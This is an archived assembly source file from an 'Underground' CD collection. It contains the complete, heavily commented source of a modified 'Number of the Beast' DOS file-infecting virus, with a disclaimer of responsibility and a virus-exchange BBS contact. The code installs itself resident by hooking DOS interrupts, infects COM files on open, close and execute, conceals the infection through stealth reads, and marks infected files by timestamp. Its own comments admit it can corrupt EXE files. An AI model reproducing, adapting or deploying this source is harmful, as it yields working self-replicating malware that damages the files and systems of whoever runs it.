home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / b / beast-b.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  13.5 KB  |  337 lines

  1. ;*******************************************************************************
  2.  
  3. ;*                                           *
  4.  
  5. ;*            THE NUMBER OF THE BEAST VIRUS                   *
  6.  
  7. ;*                                           *
  8.  
  9. ;*    This is NOT a original virus, but a modification. Main difference      *
  10.  
  11. ;*    between original virus is, that this release support ANY DOS version   *
  12.  
  13. ;*    above 3.00 and below 4.00 (3.10, 3.20 and 3.30).               *
  14.  
  15. ;*                                           *
  16.  
  17. ;*         Modification (C) were made by                       *
  18.  
  19. ;*                                           *
  20.  
  21. ;*    Kiril Stoimenov & Stephen Genchev                       *
  22.  
  23. ;*                                           *
  24.  
  25. ;*        Source was (C) commented by                       *
  26.  
  27. ;*    Waleri Todorov, CICTT, 07 Mar 1991    20:30                   *
  28.  
  29. ;*                                           *
  30.  
  31. ;*    All Rights Reserved.                               *
  32.  
  33. ;*                                           *
  34.  
  35. ;*******************************************************************************
  36.  
  37. ;*                                           *
  38.  
  39. ;*    We don't care about any damages caused by compiling and runnig         *
  40.  
  41. ;*    of this program. Use it only at your responsible !               *
  42.  
  43. ;*                                           *
  44.  
  45. ;*    If you find any mistakes or inaccurates in this source or comments,    *
  46.  
  47. ;*    please, let us know. Drop message for Waleri Todorov on Virus eXchange *
  48.  
  49. ;*    BBS, (+359+2) 20-41-98 or send Email to FidoNet 2:359/105.100           *
  50.  
  51. ;*                                           *
  52.  
  53. ;*                        Waleri Todorov               *
  54.  
  55. ;*                                           *
  56.  
  57. ;*******************************************************************************
  58.  
  59.         org    0
  60.  
  61.  
  62.  
  63.         mov    ah,30h        ; Get DOS version
  64.  
  65.         int    21h
  66.  
  67.         xchg    ah,al        ; Swap major and minor digit
  68.  
  69.         cmp    ax,31Eh     ; Is DOS==3.30
  70.  
  71.         mov    si,7B4h     ; Load offset of original int13
  72.  
  73.         jae    newdos        ; If 3.30+ -> Proceed
  74.  
  75.         mov    si,10A5h    ; Load offset of original int13
  76.  
  77.         cmp    al,10        ; Check for 3.10
  78.  
  79.         je    newdos        ; If so -> proceed
  80.  
  81.         mov    si,1EC9h    ; Load offset of original int13 for other DOS's
  82.  
  83.     newdos: mov    ds,cx        ; This may cause trouble, because CX
  84.  
  85.                     ; is NOT allways set to ZERO
  86.  
  87.         mov    di,0F8h     ; ES:DI will point to PSP:00F8 - unused area
  88.  
  89.         movsw        ; Save oroginal int13 vector
  90.  
  91.         movsw        ; to unused area in PSP
  92.  
  93.         mov    si,84h    ; DS:SI point to 0000:0084 - int21 vector
  94.  
  95.         movsw        ; Save current int21 vector
  96.  
  97.         movsw        ; to unused area in PSP
  98.  
  99.         lds    ax,dword ptr [si-4]    ; Load DS:AX with current address of int21
  100.  
  101.         push    es    ; Save ES
  102.  
  103.         push    di    ; Save DI
  104.  
  105.         mov    si,8    ; DS:SI point in current int21 handler;
  106.  
  107.         mov    ch,1    ; CX=100h - As I said CX is not allways set to 0
  108.  
  109.         repz    cmpsw    ; Check if virus v512 hold the int21 vector
  110.  
  111.         push    cs    ;
  112.  
  113.         pop    ds    ; Set DS to PSP
  114.  
  115.         jz    SkipInstall    ; If virus is active -> SkipInstall
  116.  
  117.  
  118.  
  119.         mov    ah,52h
  120.  
  121.         int    21h    ; Get DOS table of table address
  122.  
  123.         push    es    ; Save segment of table
  124.  
  125.         mov    si,00F8h    ; DS:SI point virus WITH data area in PSP
  126.  
  127.         sub    di,di    ; This will be offset in DOS buffer
  128.  
  129.         les    ax,dword ptr es:[bx+12h]    ; Load address of first
  130.  
  131.                         ; DOS buffer from table of tables
  132.  
  133.                         ; This is the reason why virus
  134.  
  135.                         ; will NOT work on DOS 4.X+
  136.  
  137.  
  138.  
  139.         mov    dx,es:[di+02]        ; Load in DX segment of next DOS buffer
  140.  
  141.         mov    cx,0104h    ; CX set to virus size (208h bytes)
  142.  
  143.         repz    movsw        ; Move itself in DOS buffer
  144.  
  145.         mov    ds,cx        ; Now CX is 0 so DS also become 0
  146.  
  147.         mov    di,0016h    ; This will be used for finding parent PSP
  148.  
  149.         mov    word ptr [di+06Eh],offset int21+8    ; Set new int21 offset
  150.  
  151.         mov    [di+70h],es    ; Set new int21 segment
  152.  
  153.  
  154.  
  155.         pop    ds    ; Restore segment of table in DS
  156.  
  157.         mov    [bx+14h],dx    ; Set pointer to first buffer point NEXT buffer in chain
  158.  
  159.  
  160.  
  161.         mov    dx,cs        ; DX is current PSP segment
  162.  
  163.         mov    ds,dx        ; DS also
  164.  
  165.         mov    bx,[di-14h]    ; Load LAST segment available
  166.  
  167.         dec    bh        ; LastSegment-=0x0100
  168.  
  169.         mov    es,bx        ; ES point in transit COMMAND.COM area
  170.  
  171.         cmp    dx,[di]     ; Compare current PSP with COMMAND's parent PSP
  172.  
  173.         mov    ds,[di]     ; Load in DS segment of parent of COMMAND
  174.  
  175.         mov    dx,[di]     ; Load in DX parent of parent of COMMAND
  176.  
  177.         dec    dx        ; Decrement loaded segment
  178.  
  179.         mov    ds,dx        ; Set DS to rezult
  180.  
  181.         mov    si,cx        ; DS:SI point to XXXX:0000 -> Name of boot command
  182.  
  183.         mov    dx,di        ; Save DI in DX
  184.  
  185.         mov    cl,28h        ; Will move 80 bytes
  186.  
  187.         repz    movsw        ; Do moving
  188.  
  189.         mov    ds,bx        ; Set DS to transit COMMAND.COM segment
  190.  
  191.  
  192.  
  193.         jb    RunProcess    ; If current process is less than parent
  194.  
  195.                     ; then COMMAND strat in progress -> read original bytes
  196.  
  197.  
  198.  
  199.         int    20h        ; Else stop. File will run from decond start
  200.  
  201.                     ; If this instruction will be replaced by
  202.  
  203.                     ; PUSH CS; POP DS file will run from first time
  204.  
  205.  
  206.  
  207. SkipInstall:    mov    si,cx        ; Set SI to 0
  208.  
  209.         mov    ds,[si+02Ch]    ; Load in DS segment of envirement
  210.  
  211. SearchAgain:    lodsw            ; Load word from envirement
  212.  
  213.         dec    si        ; Decrement envirement pointer
  214.  
  215.         test    ax,ax        ; Test for zero in AX
  216.  
  217.         jnz    SearchAgain    ; If not zero -> SearchAgain
  218.  
  219.         add    si,3        ; Else SI+=3; Now DS:SI point to filename in env
  220.  
  221.         mov    dx,si        ; DS:DX point to filename for open
  222.  
  223. RunProcess:    mov    ah,03Dh     ; AH = 3D - Open file; Don't care about open mode
  224.  
  225.         call    CallDosGet    ; Call int21 & get handle table address in DS:DI
  226.  
  227.         mov    dx,[di]     ; Load file size in DX
  228.  
  229.         mov    [di+04],dx    ; Set file pointer to end of file
  230.  
  231.         add    [di],cx     ; Increase file size with 512 bytes
  232.  
  233.         pop    dx        ; Restore file entry point (100h) to DX
  234.  
  235.                     ; This used for reading original bytes
  236.  
  237.                     ; of file at normal place
  238.  
  239.         push    dx        ; Save entry point again
  240.  
  241.         push    cs        ; Set ES point to virus segment
  242.  
  243.         pop    es        ;
  244.  
  245.         push    cs        ; Set DS point to virus segment
  246.  
  247.         pop    ds        ;
  248.  
  249.         push    ds        ; Save PSP segment
  250.  
  251.         mov    al,50h        ; Push 50h. On stack is far address PSP:0050
  252.  
  253.                     ; This are INT 21; RETF instructions
  254.  
  255.         push    ax        ; Update returning address
  256.  
  257.         mov    ah,03Fh     ; Set AH=3F - read file
  258.  
  259.         retf            ; Far return; Read original file
  260.  
  261.                     ; and return control to it
  262.  
  263. CallDosGet:    int    21h        ; Open file; Open procedure will go trough virus
  264.  
  265.         jc    ErrorOpen    ; If error occur -> Skip open
  266.  
  267.         mov    bx,ax        ; Move file pointer in BX
  268.  
  269.                     ; This could be XCHG AX,BX; that save 1 byte
  270.  
  271.  
  272.  
  273. GetHandleAddr:    push    bx        ; Save file handle in stack
  274.  
  275.         mov    ax,1220h    ; Get handle's table number
  276.  
  277.         int    02Fh        ; Via int 2F (undocumented)
  278.  
  279.         mov    bl,es:[di]    ; Load table number in BL
  280.  
  281.         mov    ax,1216h    ; Get handle table ADDRESS (ES:DI)
  282.  
  283.         int    02Fh        ; Via int 2F (undocumented)
  284.  
  285.         pop    bx        ; Restore file handle from stack
  286.  
  287.         push    es        ; Set DS to point table's segment
  288.  
  289.         pop    ds        ;
  290.  
  291.         add    di,11h        ; DI will point file's size entry intable
  292.  
  293.         mov    cx,0200h    ; CX set to virus size
  294.  
  295. ErrorOpen:    ret
  296.  
  297. ReadClean:    sti        ; Disable external interrupts request
  298.  
  299.         push    es    ; Save important registers to stack
  300.  
  301.         push    si
  302.  
  303.         push    di
  304.  
  305.         push    bp
  306.  
  307.         push    ds    ; Data buffer segment
  308.  
  309.         push    cx    ; Bytes to read
  310.  
  311.         call    GetHandleAddr    ; Get file handle's table address in DS:DI
  312.  
  313.         mov    bp,cx        ; Save virus size in BP
  314.  
  315.         mov    si,[di+04]    ; Save in SI current file pointer
  316.  
  317.         pop    cx        ; Restore bytes to be readed in CX
  318.  
  319.         pop    ds        ; Restore buffer segment
  320.  
  321.         call    ReadOriginal    ; Open file with original int21
  322.  
  323.         jc    SkipClean    ; If error while read -> skip cleaning
  324.  
  325.         cmp    si,bp        ; Check if file pointer was in virus
  326.  
  327.         jnb    SkipClean    ; If no -> nothing to clean
  328.  
  329.         push    ax        ; Save readed bytes
  330.  
  331.         mov    al,es:[di-04]    ; Load AL with file time
  332.  
  333.         not    al        ;
  334.  
  335.         and    al,01Fh     ; Mask seconds of file time
  336.  
  337.         jnz    SkipCleanPop    ; If time is NOT 31 sec -> nothing to do
  338.  
  339.         add    si,es:[di]    ; Add to current pointer file size
  340.  
  341.                     ; Now SI point to requested offset,
  342.  
  343.                     ; BUT in original file bytes
  344.  
  345.  
  346.  
  347.         xchg    si,es:[di+04]    ; Set new file pointer and save old file pointer
  348.  
  349.         add    es:[di],bp    ; Increase file size with virus size
  350.  
  351.         call    ReadOriginal    ; Open file via original int21
  352.  
  353.         mov    es:[di+04],si    ; Restor file pointer
  354.  
  355.         lahf            ; ??? I don't know. If you do let me know
  356.  
  357.         sub    es:[di],bp    ; Decrease file size with virus size
  358.  
  359.         sahf            ; ??? I don't know. If you do let me know
  360.  
  361. SkipCleanPop:    pop    ax    ; Restore readed bytes
  362.  
  363.  
  364.  
  365. SkipClean:    pop    bp    ; Restore saved imortant register
  366.  
  367.         pop    di
  368.  
  369.         pop    si
  370.  
  371.         pop    es
  372.  
  373.         db    0CAh, 2, 0    ; RETF 2
  374.  
  375.  
  376.  
  377. ReadOriginal:    mov    ah,03Fh
  378.  
  379. CallDOS:    pushf
  380.  
  381.         push    cs
  382.  
  383.         call    JumpDOS
  384.  
  385.         ret
  386.  
  387. ; Following few bytes are int21 handler. They check if file is open close or
  388.  
  389. ; executed and clean or infect file with virus. Here there is serious problem -
  390.  
  391. ; from time to time virus infect file which is NOT COM file (EXE file will be
  392.  
  393. ; destroyed, by the way).
  394.  
  395. ;    More about this later in comments
  396.  
  397.  
  398.  
  399.  
  400.  
  401. int21:        cmp    ah,03Fh     ; If function is Read file
  402.  
  403.         jz    ReadClean    ; then go and read original bytes
  404.  
  405.  
  406.  
  407.         push    ds        ; Save important registers
  408.  
  409.         push    es
  410.  
  411.         push    ax
  412.  
  413.         push    bx
  414.  
  415.         push    cx
  416.  
  417.         push    dx
  418.  
  419.         push    si
  420.  
  421.         push    di
  422.  
  423.         cmp    ah,03Eh     ; If function is Close file
  424.  
  425.         jz    CloseInfect    ; then Close and Infect
  426.  
  427.         cmp    ax,04B00h    ; If execute file
  428.  
  429.         mov    ah,03Dh     ; then open file before execute
  430.  
  431.                     ; After opening file will be closed
  432.  
  433.                     ; and .... Infected
  434.  
  435.         jz    Infect        ;
  436.  
  437. TerminateInt:    pop    di        ; Restore important registers
  438.  
  439.         pop    si
  440.  
  441.         pop    dx
  442.  
  443.         pop    cx
  444.  
  445.         pop    bx
  446.  
  447.         pop    ax
  448.  
  449.         pop    es
  450.  
  451.         pop    ds
  452.  
  453. JumpDOS:    jmp    dword ptr cs:[0004]    ; Jump to original int21
  454.  
  455.  
  456.  
  457. CloseInfect:    mov    ah,45h
  458.  
  459. Infect:     call    CallDosGet    ; Duplicate file handler
  460.  
  461.         jc    TerminateInt    ; If error -> terminate
  462.  
  463.         sub    ax,ax        ; Set AX to 0
  464.  
  465.         mov    [di+04],ax    ; Set file pointer to 0
  466.  
  467.         mov    byte ptr [di-0Fh],02    ; Set file open mode to Read/Write
  468.  
  469.         cld
  470.  
  471.         mov    ds,ax        ; Set DS point to interrupt table
  472.  
  473.         mov    si,004Ch    ; SI point to int13 offset
  474.  
  475.         lodsw        ; Load int13 offset
  476.  
  477.         push    ax    ; and save it in stack
  478.  
  479.         lodsw        ; Load int13 segment
  480.  
  481.         push    ax    ; and save it in stack
  482.  
  483.         push    [si+40h]    ; Save int24 offset
  484.  
  485.         push    [si+42h]    ; Save int24 segment
  486.  
  487.         lds    dx,dword ptr cs:[si-50h]    ; Load DS:DX with BIOS int13
  488.  
  489.         mov    ax,2513h    ; and set it via DOS function SetVector
  490.  
  491.         int    21h        ;
  492.  
  493.         push    cs        ; Set DS point to virus segment
  494.  
  495.         pop    ds        ;
  496.  
  497.         mov    dx,offset int24+8    ; Load in DX offset of int24 handler
  498.  
  499.         mov    al,24h        ; Set int24 vector
  500.  
  501.         int    21h        ; via DOS function SetVector
  502.  
  503.         push    es        ; Set DS point to handle table segment
  504.  
  505.         pop    ds        ;
  506.  
  507.         mov    al,[di-04]    ; Load AL with file time
  508.  
  509.  
  510.  
  511. ; As I said in some case virus will infect non-COM file. This may happend
  512.  
  513. ; if file you work with has time set to 62 seconds. In this case virus infect
  514.  
  515. ; file without checking filename. This WILL damage EXE file. DOS will treat
  516.  
  517. ; this files as COM files, but usualy their size is bigger than 64K, so DOS
  518.  
  519. ; cannot run it. If file is less than 64K then virus run and read original
  520.  
  521. ; bytes. Usualy he DO read them, then skip control to these bytes. In EXE
  522.  
  523. ; files this is EXEheader, so execution FAIL (your system CRASH)
  524.  
  525.  
  526.  
  527.  
  528.  
  529.         and    al,01Fh     ; Mask seconds
  530.  
  531.         cmp    al,01Fh     ; Check if seconds == 31 (62sec)
  532.  
  533.         jz    NoNameCheck    ; If so -> infect with no name check
  534.  
  535.         mov    ax,[di+17h]    ; Load AX with first 2 letters of file extension
  536.  
  537.         sub    ax,04F43h    ; If file is NOT *.CO?
  538.  
  539.         jnz    SkipInfect    ; SkipInfect
  540.  
  541.  
  542.  
  543. NoNameCheck:    xor    [di-04],al    ; Set file seconds to 31 (62sec)
  544.  
  545.         mov    ax,[di]     ; Set AX to file size
  546.  
  547.         cmp    ax,cx        ; Check file size and virus size
  548.  
  549.         jb    SkipInfect    ; If file is less than 512 bytes -> Don't infect
  550.  
  551.         add    ax,cx        ; Increase file size with virus size
  552.  
  553.         jc    SkipInfect    ; If file is bigger than (65535-512) -> no infect
  554.  
  555.         test    byte ptr [di-0Dh],04    ; Check file attribute
  556.  
  557.         jnz    SkipInfect    ; If SYSTEM file -> don't infect it
  558.  
  559.         lds    si,dword ptr [di-0Ah]    ; Load DS:SI with device header
  560.  
  561.         dec    ax    ; AX (file size with virus) --
  562.  
  563.         shr    ah,1    ; AX/=2
  564.  
  565.         and    ah,[si+04]    ; Check if enough place in cluster behind file
  566.  
  567.         jz    SkipInfect    ; If no place -> terminate infection
  568.  
  569.         mov    ax,0020h    ; DS = 20 (Second part of int table)
  570.  
  571.         mov    ds,ax        ;
  572.  
  573.         sub    dx,dx        ; DS:DX point to virus transfer buffer
  574.  
  575.         call    ReadOriginal    ; Open file with original int21
  576.  
  577.         mov    si,dx        ; Save virus buffer offset in SI
  578.  
  579.         push    cx        ; Save virus size
  580.  
  581. LoopCheck:    lodsb
  582.  
  583.         cmp    al,cs:[si+07]    ; Compare readed data with virus code
  584.  
  585.         jnz    WriteFile    ; If at least ONE byte different -> fuck file
  586.  
  587.         loop    LoopCheck    ; Check all virus code with buffer
  588.  
  589.         pop    cx        ; Restore virus size
  590.  
  591. SetFileTime:    or    byte ptr es:[di-04],01Fh    ; Set file time to 62sec
  592.  
  593. NoUpdateTime:    or    byte ptr es:[di-0Bh],40h    ; Set flag in device info word
  594.  
  595.  
  596.  
  597.             ; In case of file this is flag area. Setting bit 14
  598.  
  599.             ; as virus does, mean for DOS "Don't set file date/time when close"
  600.  
  601.     ; DOS always rewrite Date/Time field of table. If bit 14 is clear (0)
  602.  
  603.     ; then DOS will set current time to file. Virus should avoid this, or
  604.  
  605.     ; DOS will overwrite seconds field and they (seconds) will be normal
  606.  
  607.  
  608.  
  609. SkipInfect:    mov    ah,03Eh     ; Close file
  610.  
  611.         call    CallDOS     ; via original int21
  612.  
  613.         or    byte ptr es:[di-0Ch],40h    ; Set flag... See above
  614.  
  615.         pop    ds        ; Restore original int24
  616.  
  617.         pop    dx
  618.  
  619.         mov    ax,2524h    ; via SetVector
  620.  
  621.         int    21h
  622.  
  623.         pop    ds        ; Restore original int13
  624.  
  625.         pop    dx
  626.  
  627.         mov    al,13h        ; via SetVector
  628.  
  629.         int    21h
  630.  
  631.         jmp    TerminateInt    ; All done, jump to DOS
  632.  
  633.  
  634.  
  635. WriteFile:    pop    cx        ; Restore virus size to CX
  636.  
  637.         mov    si,es:[di]    ; Save current file size in SI
  638.  
  639.         mov    es:[di+04],si    ; Move file pointer at the end of file
  640.  
  641.         mov    ah,40h        ; Write to file its first 512  bytes at the end
  642.  
  643.         int    21h
  644.  
  645.         jc    NoUpdateTime    ; If error occur file time will be normal
  646.  
  647.         mov    es:[di],si    ; Set file size to be as before (file size
  648.  
  649.                         ; will remain unchanged)
  650.  
  651.         mov    es:[di+04],dx    ; Set file pointer to beginning of file
  652.  
  653.         push    cs        ; Set DS:DX point to virus
  654.  
  655.         pop    ds        ;
  656.  
  657.         mov    dl,08        ; Skip first 8 bytes of virus, because they
  658.  
  659.                     ; are a buffer for int handlers adresses
  660.  
  661.         mov    ah,40h        ; Write virus at the beginning of file
  662.  
  663.         int    21h        ;
  664.  
  665.         jmp    SetFileTime    ; File now OK infected, so his time must be
  666.  
  667.                     ; set to 62 sec
  668.  
  669.     int24:    iret            ; int 24 handler. Avoid "Write protected error..."
  670.  
  671.         db     '666'            ; Virus signature
  672.  
  673.